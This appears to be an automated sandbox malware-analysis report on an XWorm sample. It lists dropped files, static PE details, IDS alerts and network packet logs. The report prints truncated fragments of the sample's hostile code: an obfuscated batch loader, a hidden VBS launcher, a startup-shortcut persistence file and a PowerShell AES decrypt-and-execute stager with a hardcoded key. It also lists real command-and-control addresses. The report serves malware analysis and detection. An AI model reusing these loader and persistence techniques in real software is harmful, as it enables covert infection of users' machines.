SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\powershell.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Aug 15 05:09:17 2024, mtime=Thu Aug 15 05:09:17 2024, atime=Thu Aug 15 05:09:17 2024, length=452608, window=hide
Category:	dropped
Size (bytes):	781
Entropy (8bit):	5.1034403512765545
Encrypted:	false
SSDEEP:	12:87+4QzLrWCcdY//B69LLVmQejA8rHsng0hQLYBmV:8fCOb+QJZKA8Gg2QLYBm
MD5:	9058E1DB54B8AAC267A7800561394290
SHA1:	19171CCD5C6FA6D9DED861C552FDF7406A4F93F1
SHA-256:	A7ED29BCFF3ECF64683B75FEDB60910DC064556D9651CFB4FED10E80250D9802
SHA-512:	E7B7CF0825A19AA9D51554700083613382AA5DD05D4F1783762530A3CB089D730B703033F9CAE41EF2B7E4CEF166FB67AAC16256E97A14A47BF20F704D6CC72B
Malicious:	true
Preview:	L..................F.... .....!.......!.......!.............................~.:..DG..Yr?.D..U..k0.&...&......vk.v............&.........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^.Y.1...........................%..A.p.p.D.a.t.a...B.V.1......Y&1..Roaming.@......CW.^.Y&1..........................a...R.o.a.m.i.n.g.....j.2......Y)1 .POWERS~1.EXE..N.......Y)1.Y)1....")......................_.p.o.w.e.r.s.h.e.l.l...e.x.e.......\...............-.......[...........j.9......C:\Users\user\AppData\Roaming\powershell.exe........\.....\.....\.....\.....\.p.o.w.e.r.s.h.e.l.l...e.x.e.`.......X.......960781...........hT..CrF.f4... ..T..b...,.......hT..CrF.f4... ..T..b...,......E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Windows_Log_414.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (38228), with CRLF line terminators
Category:	dropped
Size (bytes):	99225
Entropy (8bit):	6.1457347231786885
Encrypted:	false
SSDEEP:	1536:PDjpH0K1wBs6vgv6/LA2pBqvpceochqq1S2vtkv3bPBXbcxU8p3xAAa/YeuKMr:PDjpHF1we6vgS02pBqh2c0/NmRSaeir
MD5:	E3DDAA4629DA5C0558829293AA228219
SHA1:	AE3BBA794E898EABADE50F2FFC0DAD3E92367D22
SHA-256:	32654B98A6F8FB9EBD1CFAD615FEE13A32FC525A68854BA7717D26167CF1B85C
SHA-512:	4CF6AE21A8D094B9592301A437612AF0A992D3E7E1883419D2793664F424BC0598BDF6E17E4C475BE5210EC30F4C5D5FD9D4B8C3F19EAEABFE75EFC2E95F69CD
Malicious:	true
Preview:	@echo off..%pfUeYeIQtODthlKRXywk%s%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%t%pfUeYeIQtODthlKRXywk%l%pfUeYeIQtODthlKRXywk%o%pfUeYeIQtODthlKRXywk%c%pfUeYeIQtODthlKRXywk%a%pfUeYeIQtODthlKRXywk%l%pfUeYeIQtODthlKRXywk% %pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%n%pfUeYeIQtODthlKRXywk%a%pfUeYeIQtODthlKRXywk%b%pfUeYeIQtODthlKRXywk%l%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%d%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%l%pfUeYeIQtODthlKRXywk%a%pfUeYeIQtODthlKRXywk%y%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%d%pfUeYeIQtODthlKRXywk%e%pfUeYeIQtODthlKRXywk%x%pfUeYeIQtODthlKRXywk%p%pfUeYeIQtODthlKRXywk%a%pfUeYeIQtODthlKRXywk%n%pfUeYeIQtODthlKRXywk%s%pfUeYeIQtODthlKRXywk%i%pfUeYeIQtODthlKRXywk%o%pfUeYeIQtODthlKRXywk%n%pfUeYeIQtODthlKRXywk%..set "MzkQmtAUDRKttJhUuSCe=s"..set "KVBMucTsuobctVyPOYxu=t"..set "jWobgAKvYChObjegXGJp=!MzkQmtAUDRKttJhUuSCe!e!KVBMucTsuobctVyPOYxu!"..!jWobgAKvYChObjegXGJp! "sGVUCVhfGf=v1.0"..!jWobgAKvYChObjegXGJp! "ThknrkDTGl=.$yb"..!jWobgAKvYChObjegXGJp! "kfYPPxGHbF

C:\Users\user\AppData\Roaming\Windows_Log_414.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	115
Entropy (8bit):	4.9960613298017496
Encrypted:	false
SSDEEP:	3:FER/8ClVRK+pn2Hot+kiEaKC59K6H2hn:FERblVR/p2IwknaZ5Xu
MD5:	6B4CF0E98ABB256433722489921C1242
SHA1:	4AE0731F3EE69B6D00A9B4C5646C1B80997A0734
SHA-256:	5A2B6C1534E253709FEE6E5919A7B4D451AA34251FA83C1E86C43A0405007D9B
SHA-512:	DC35EB714D93BAC0D59CE1562241DC4D0BA35036D10BF01F0B7FBB48E7571A19C5B6B9FCFE9253DB19B468450F02F18AD694ACCE539825D86A3E7BD0960A55C9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	CreateObject(Replace("WScript.Shell","SubChar","")).Run """C:\Users\user\AppData\Roaming\Windows_Log_414.bat""", 0

C:\Users\user\AppData\Roaming\powershell.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	452608
Entropy (8bit):	5.459268466661775
Encrypted:	false
SSDEEP:	6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5:	04029E121A0CFA5991749937DD22A1D9
SHA1:	F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054
SHA-256:	9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
SHA-512:	6A2FB055473033FD8FDB8868823442875B5B60C115031AAEDA688A35A092F6278E8687E2AE2B8DC097F8F3F35D23959757BF0C408274A2EF5F40DDFA4B5C851B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: BrowserUpdater.lnk, Detection: malicious, Browse Filename: Updater.lnk, Detection: malicious, Browse Filename: ZG7UaFRPVW.exe, Detection: malicious, Browse Filename: IN-34823_PO39276-pdf.vbe, Detection: malicious, Browse Filename: 7XU2cRFInT.exe, Detection: malicious, Browse Filename: megerosites.cmd, Detection: malicious, Browse Filename: Scan_SKMBT_EPDA _ SOA_Payment Reference TR-37827392-2024-07-24.Pdf.exe, Detection: malicious, Browse Filename: Payroll for July.exe, Detection: malicious, Browse Filename: 2nd_Quarter_Order_Sheet_xls_0000000000000000000.exe, Detection: malicious, Browse Filename: Import_Tax Invoice_PL_xls_0000000000000000000 .exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..%k.ovk.ovk.ovu..vi.ovb..va.ov..lwi.ov..kwq.ovk.nv.ov..nwn.ov..jwb.ov..bwb.ov..vj.ov..mwj.ovRichk.ov........................PE..d....A.~.........."..........^......@=.........@..........................................`.......... .......................................L...........}...p..........................T......................(..................`................................text............................... ..`.rdata.............................@..@.data...,....`.......L..............@....pdata.......p.......T..............@..@.rsrc....}.......~...^..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (1922), with CRLF line terminators
Category:	dropped
Size (bytes):	1924
Entropy (8bit):	5.636564513150161
Encrypted:	false
SSDEEP:	48:IJRm8RUYRxSKBTAqjBCCzDpOXkHVvknI7k7KUAdbhh2SN3HAm5eNk55OLx1CH2c:QBN7PBhjBCCVXUeN3Amb5ULxAWc
MD5:	8CB5F4CBF3541724F0061DDB31956363
SHA1:	E39E2B518773E3FB812DBF294025CD522A2C696B
SHA-256:	92A1372366A85DDBCC061D922A7BB6C36E17CA37799CADE11CCEC9C369D35412
SHA-512:	4D36AC27A8C3DEF632778CA46A526419255406DE37646A6DCDB3B839BDB908E812E56D7A6D39F1C0BA7406682AEEBA4C5CB57023749F7B52DC510D3DC030020D
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDecodeAndExecute, Description: Yara detected Powershell decode and execute, Source: \Device\ConDrv, Author: Joe Security
Preview:	function decrypt_function($param_var){.$aes_var=[System.Security.Cryptography.Aes]::Create();.$aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC;.$aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;.$aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9EHtJ11By61kS8vpIjv1e6+WeJMREtPFNuaC1PKqnxU=');.$aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ddpslYZ3AovF8/F/PVkcRw==');.$decryptor_var=$aes_var.CreateDecryptor();.$return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length);.$decryptor_var.Dispose();.$aes_var.Dispose();.$return_var;}function decompress_function($param_var){.$nMJpl=New-Object System.IO.MemoryStream(,$param_var);.$pYOJO=New-Object System.IO.MemoryStream;.$PZyWJ=New-Object System.IO.Compression.GZipStream($nMJpl, [IO.Compression.CompressionMode]::Decompress);.$PZyWJ.CopyTo($pYOJO);.$PZyWJ.Dispose();.$nMJpl.Dispose();.$pYOJO.Dispose();.$pYOJO.ToArray();}function execute_function($param_va

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.2798735188091666
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	218'624 bytes
MD5:	bd315453d1c70b1683863d8709e7a3b8
SHA1:	2c0db6606b7321a55b04645c79642fa35426743e
SHA256:	496b503ab6692efcb2967335b324ed00169e9ed6766529d730ef58e7927e8ffa
SHA512:	4754ab12c370becd0878c7a0d21a26adbcf180551343207dc55b5b7af3381ce2dd6d35f1943681f7f8e3c904192604225b3e4907df96dd88a7b2a42c5d77918b
SSDEEP:	3072:2vGyYiSDnt1o5GWp1icKAArDZz4N9GhbkrNEk17lGhNC4j0pM/lPIg97IrfWhj4:q4Sp0yN90QEsYhNo+I2IrOh8
TLSH:	5D24CF4273E440B6E8B6577589F302531A32BC92AB78C3DF1395E58E1E33AD5A932707
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......le.Z(...(...(...Mb..)...Mb..*...Mb..:...Mb..9...(.......Mb..!...Mbh.)...Mb..)...Rich(...........................PE..d..........

File Icon


Icon Hash:	3b6120282c4c5a1f

Static PE Info

General

Entrypoint:	0x1400079b0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x1487B58D [Sun Nov 30 13:15:57 1980 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	10
OS Version Minor:	0
File Version Major:	10
File Version Minor:	0
Subsystem Version Major:	10
Subsystem Version Minor:	0
Import Hash:	4cea7ae85c87ddc7295d39ff9cda31d1

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F8C6CBDE190h
dec eax
add esp, 28h
jmp 00007F8C6CBDDA3Bh
int3
int3
int3
int3
int3
int3
dec eax
mov dword ptr [esp+08h], ebx
dec eax
mov dword ptr [esp+10h], edi
inc ecx
push esi
dec eax
sub esp, 000000B0h
and dword ptr [esp+20h], 00000000h
dec eax
lea ecx, dword ptr [esp+40h]
call dword ptr [00001A0Dh]
nop
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ebx, dword ptr [eax+08h]
xor edi, edi
xor eax, eax
dec eax
cmpxchg dword ptr [00005172h], ebx
je 00007F8C6CBDDA3Ch
dec eax
cmp eax, ebx
jne 00007F8C6CBDDA4Ch
mov edi, 00000001h
mov eax, dword ptr [00005168h]
cmp eax, 01h
jne 00007F8C6CBDDA49h
lea ecx, dword ptr [eax+1Eh]
call 00007F8C6CBDE023h
jmp 00007F8C6CBDDAACh
mov ecx, 000003E8h
call dword ptr [000019BEh]
jmp 00007F8C6CBDD9F9h
mov eax, dword ptr [00005146h]
test eax, eax
jne 00007F8C6CBDDA8Bh
mov dword ptr [00005138h], 00000001h
dec esp
lea esi, dword ptr [00001C29h]
dec eax
lea ebx, dword ptr [00001C0Ah]
dec eax
mov dword ptr [esp+30h], ebx
mov dword ptr [esp+24h], eax
dec ecx
cmp ebx, esi
jnc 00007F8C6CBDDA57h
test eax, eax
jne 00007F8C6CBDDA57h
dec eax
cmp dword ptr [ebx], 00000000h
je 00007F8C6CBDDA42h
dec eax
mov eax, dword ptr [ebx]
dec eax
mov ecx, dword ptr [00001BC8h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xa20c	0xb4	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xf000	0x2aed4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xe000	0x3fc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x3a000	0x20	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x9a00	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9010	0x108	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9118	0x520	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x7330	0x7400	625ffbb61a1734cf8262be69f9aa4507	False	0.577215786637931	data	6.198028072977498	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9000	0x2298	0x2400	67749711d1c5c0a9f7b54d4e294d60da	False	0.4116753472222222	data	4.696852382157258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xc000	0x1e80	0x400	9d1580dccaf8e787a43caf4bba48a079	False	0.3212890625	data	3.1889769845125677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xe000	0x3fc	0x400	68a8a22ae244ccfc6de366bbd726a995	False	0.578125	data	4.311509366376993	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xf000	0x2b000	0x2b000	b2b563a5f8f2e00d44e84b2058cdd458	False	0.8251328579215116	data	7.456567107574689	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x3a000	0x20	0x200	a625082b00a288ba7362286d5a2d9f45	False	0.083984375	data	0.4068473715812382	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AVI	0xf9f8	0x2e1a	RIFF (little-endian) data, AVI, 272 x 60, 10.00 fps, video: RLE 8bpp	English	United States	0.2713099474665311
RT_ICON	0x12814	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 1152	English	United States	0.3225609756097561
RT_ICON	0x12e7c	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.41263440860215056
RT_ICON	0x13164	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 288	English	United States	0.4569672131147541
RT_ICON	0x1334c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128	English	United States	0.5574324324324325
RT_ICON	0x13474	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2304, 256 important colors	English	United States	0.6223347547974414
RT_ICON	0x1431c	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1024, 256 important colors	English	United States	0.7369133574007221
RT_ICON	0x14bc4	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 576, 256 important colors	English	United States	0.783410138248848
RT_ICON	0x1528c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 256, 256 important colors	English	United States	0.3829479768786127
RT_ICON	0x157f4	0xd9d2	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	United States	1.0004662673505254
RT_ICON	0x231c8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	United States	0.5300829875518672
RT_ICON	0x25770	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	United States	0.6137429643527205
RT_ICON	0x26818	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	United States	0.703688524590164
RT_ICON	0x271a0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	United States	0.425531914893617
RT_DIALOG	0x27608	0x2f2	data	English	United States	0.4389920424403183
RT_DIALOG	0x278fc	0x1b0	data	English	United States	0.5625
RT_DIALOG	0x27aac	0x166	data	English	United States	0.5223463687150838
RT_DIALOG	0x27c14	0x1c0	data	English	United States	0.5446428571428571
RT_DIALOG	0x27dd4	0x130	data	English	United States	0.5526315789473685
RT_DIALOG	0x27f04	0x120	data	English	United States	0.5763888888888888
RT_STRING	0x28024	0x8c	Matlab v4 mat-file (little endian) l, numeric, rows 0, columns 0	English	United States	0.6214285714285714
RT_STRING	0x280b0	0x520	data	English	United States	0.4032012195121951
RT_STRING	0x285d0	0x5cc	data	English	United States	0.36455525606469
RT_STRING	0x28b9c	0x4b0	data	English	United States	0.385
RT_STRING	0x2904c	0x44a	data	English	United States	0.3970856102003643
RT_STRING	0x29498	0x3ce	data	English	United States	0.36858316221765913
RT_RCDATA	0x29868	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x29870	0xf92f	Microsoft Cabinet archive data, Windows 2000/XP setup, 63791 bytes, 1 file, at 0x2c +A "Opera_Update.bat", ID 1566, number 1, 4 datablocks, 0x1503 compression	English	United States	0.9995924189932749
RT_RCDATA	0x391a0	0x4	data	English	United States	3.0
RT_RCDATA	0x391a4	0x24	data	English	United States	0.8611111111111112
RT_RCDATA	0x391c8	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x391d0	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x391d8	0x4	data	English	United States	3.0
RT_RCDATA	0x391dc	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x391e4	0x4	data	English	United States	3.0
RT_RCDATA	0x391e8	0x1a	data	English	United States	1.3076923076923077
RT_RCDATA	0x39204	0x4	data	English	United States	3.0
RT_RCDATA	0x39208	0x2	data	English	United States	5.0
RT_RCDATA	0x3920c	0x7	ASCII text, with no line terminators	English	United States	2.142857142857143
RT_RCDATA	0x39214	0x13	ASCII text, with no line terminators	English	United States	1.4210526315789473
RT_GROUP_ICON	0x39228	0xbc	data	English	United States	0.6117021276595744
RT_VERSION	0x392e4	0x408	data	English	United States	0.42441860465116277
RT_MANIFEST	0x396ec	0x7e6	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.37734915924826906

Imports

DLL	Import
ADVAPI32.dll	GetTokenInformation, RegDeleteValueA, RegOpenKeyExA, RegQueryInfoKeyA, FreeSid, OpenProcessToken, RegSetValueExA, RegCreateKeyExA, LookupPrivilegeValueA, AllocateAndInitializeSid, RegQueryValueExA, EqualSid, RegCloseKey, AdjustTokenPrivileges
KERNEL32.dll	_lopen, _llseek, CompareStringA, GetLastError, GetFileAttributesA, GetSystemDirectoryA, LoadLibraryA, DeleteFileA, GlobalAlloc, GlobalFree, CloseHandle, WritePrivateProfileStringA, IsDBCSLeadByte, GetWindowsDirectoryA, SetFileAttributesA, GetProcAddress, GlobalLock, LocalFree, RemoveDirectoryA, FreeLibrary, _lclose, CreateDirectoryA, GetPrivateProfileIntA, GetPrivateProfileStringA, GlobalUnlock, ReadFile, SizeofResource, WriteFile, GetDriveTypeA, LoadLibraryExA, SetFileTime, SetFilePointer, FindResourceA, CreateMutexA, GetVolumeInformationA, WaitForSingleObject, GetCurrentDirectoryA, FreeResource, GetVersion, SetCurrentDirectoryA, GetTempPathA, LocalFileTimeToFileTime, CreateFileA, SetEvent, TerminateThread, GetVersionExA, LockResource, GetSystemInfo, CreateThread, ResetEvent, LoadResource, ExitProcess, GetModuleHandleW, CreateProcessA, FormatMessageA, GetTempFileNameA, DosDateTimeToFileTime, CreateEventA, GetExitCodeProcess, ExpandEnvironmentStringsA, LocalAlloc, lstrcmpA, FindNextFileA, GetCurrentProcess, FindFirstFileA, GetModuleFileNameA, GetShortPathNameA, Sleep, GetStartupInfoW, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, GetTickCount, EnumResourceLanguagesA, GetDiskFreeSpaceA, MulDiv, FindClose
GDI32.dll	GetDeviceCaps
USER32.dll	ShowWindow, MsgWaitForMultipleObjects, SetWindowPos, GetDC, GetWindowRect, DispatchMessageA, GetSystemMetrics, CallWindowProcA, SetWindowTextA, MessageBoxA, SendDlgItemMessageA, SendMessageA, GetDlgItem, DialogBoxIndirectParamA, GetWindowLongPtrA, SetWindowLongPtrA, SetForegroundWindow, ReleaseDC, EnableWindow, CharNextA, LoadStringA, CharPrevA, EndDialog, MessageBeep, ExitWindowsEx, SetDlgItemTextA, CharUpperA, GetDesktopWindow, PeekMessageA, GetDlgItemTextA
msvcrt.dll	?terminate@@YAXXZ, _commode, _fmode, _acmdln, __C_specific_handler, memset, __setusermatherr, _ismbblead, _cexit, _exit, exit, __set_app_type, __getmainargs, _amsg_exit, _XcptFilter, memcpy_s, _vsnprintf, _initterm, memcpy
COMCTL32.dll
Cabinet.dll
VERSION.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-15T08:10:55.432680+0200	TCP	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	50691	443	192.168.2.4	94.141.120.29
2024-08-15T08:09:23.904435+0200	TCP	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	1	49735	443	192.168.2.4	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 15, 2024 08:09:18.401149035 CEST	49732	443	192.168.2.4	172.67.19.24
Aug 15, 2024 08:09:18.401246071 CEST	443	49732	172.67.19.24	192.168.2.4
Aug 15, 2024 08:09:18.401345968 CEST	49732	443	192.168.2.4	172.67.19.24
Aug 15, 2024 08:09:18.407697916 CEST	49732	443	192.168.2.4	172.67.19.24
Aug 15, 2024 08:09:18.407727957 CEST	443	49732	172.67.19.24	192.168.2.4
Aug 15, 2024 08:09:18.872241974 CEST	443	49732	172.67.19.24	192.168.2.4
Aug 15, 2024 08:09:18.872365952 CEST	49732	443	192.168.2.4	172.67.19.24
Aug 15, 2024 08:09:18.875654936 CEST	49732	443	192.168.2.4	172.67.19.24
Aug 15, 2024 08:09:18.875686884 CEST	443	49732	172.67.19.24	192.168.2.4
Aug 15, 2024 08:09:18.876210928 CEST	443	49732	172.67.19.24	192.168.2.4
Aug 15, 2024 08:09:18.886930943 CEST	49732	443	192.168.2.4	172.67.19.24
Aug 15, 2024 08:09:18.928539038 CEST	443	49732	172.67.19.24	192.168.2.4
Aug 15, 2024 08:09:19.406840086 CEST	443	49732	172.67.19.24	192.168.2.4
Aug 15, 2024 08:09:19.406934023 CEST	443	49732	172.67.19.24	192.168.2.4
Aug 15, 2024 08:09:19.407197952 CEST	49732	443	192.168.2.4	172.67.19.24
Aug 15, 2024 08:09:19.412293911 CEST	49732	443	192.168.2.4	172.67.19.24
Aug 15, 2024 08:09:19.512039900 CEST	49735	443	192.168.2.4	149.154.167.220
Aug 15, 2024 08:09:19.512120008 CEST	443	49735	149.154.167.220	192.168.2.4
Aug 15, 2024 08:09:19.512209892 CEST	49735	443	192.168.2.4	149.154.167.220
Aug 15, 2024 08:09:19.512461901 CEST	49735	443	192.168.2.4	149.154.167.220
Aug 15, 2024 08:09:19.512509108 CEST	443	49735	149.154.167.220	192.168.2.4
Aug 15, 2024 08:09:20.133169889 CEST	443	49735	149.154.167.220	192.168.2.4
Aug 15, 2024 08:09:20.133249044 CEST	49735	443	192.168.2.4	149.154.167.220
Aug 15, 2024 08:09:20.137449026 CEST	49735	443	192.168.2.4	149.154.167.220
Aug 15, 2024 08:09:20.137473106 CEST	443	49735	149.154.167.220	192.168.2.4
Aug 15, 2024 08:09:20.137861967 CEST	443	49735	149.154.167.220	192.168.2.4
Aug 15, 2024 08:09:20.145944118 CEST	49735	443	192.168.2.4	149.154.167.220
Aug 15, 2024 08:09:20.192507982 CEST	443	49735	149.154.167.220	192.168.2.4
Aug 15, 2024 08:09:23.904453039 CEST	443	49735	149.154.167.220	192.168.2.4
Aug 15, 2024 08:09:23.904546976 CEST	443	49735	149.154.167.220	192.168.2.4
Aug 15, 2024 08:09:23.904731035 CEST	49735	443	192.168.2.4	149.154.167.220
Aug 15, 2024 08:09:23.905239105 CEST	49735	443	192.168.2.4	149.154.167.220
Aug 15, 2024 08:09:24.053702116 CEST	49738	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.053750992 CEST	443	49738	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.053936958 CEST	49738	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.075515032 CEST	49738	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.075534105 CEST	443	49738	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.075579882 CEST	443	49738	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.194169044 CEST	49739	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.194264889 CEST	443	49739	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.194361925 CEST	49739	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.203126907 CEST	49739	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.203161955 CEST	443	49739	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.203202009 CEST	443	49739	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.319365025 CEST	49740	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.319448948 CEST	443	49740	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.319528103 CEST	49740	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.328618050 CEST	49740	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.328630924 CEST	443	49740	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.328671932 CEST	443	49740	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.445911884 CEST	49741	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.445976973 CEST	443	49741	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.446068048 CEST	49741	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.457113028 CEST	49741	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.457140923 CEST	443	49741	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.457185030 CEST	443	49741	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.569016933 CEST	49742	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.569041967 CEST	443	49742	94.141.120.29	192.168.2.4
Aug 15, 2024 08:09:24.569132090 CEST	49742	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.577600002 CEST	49742	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:09:24.577625036 CEST	443	49742	94.141.120.29	192.168.2.4
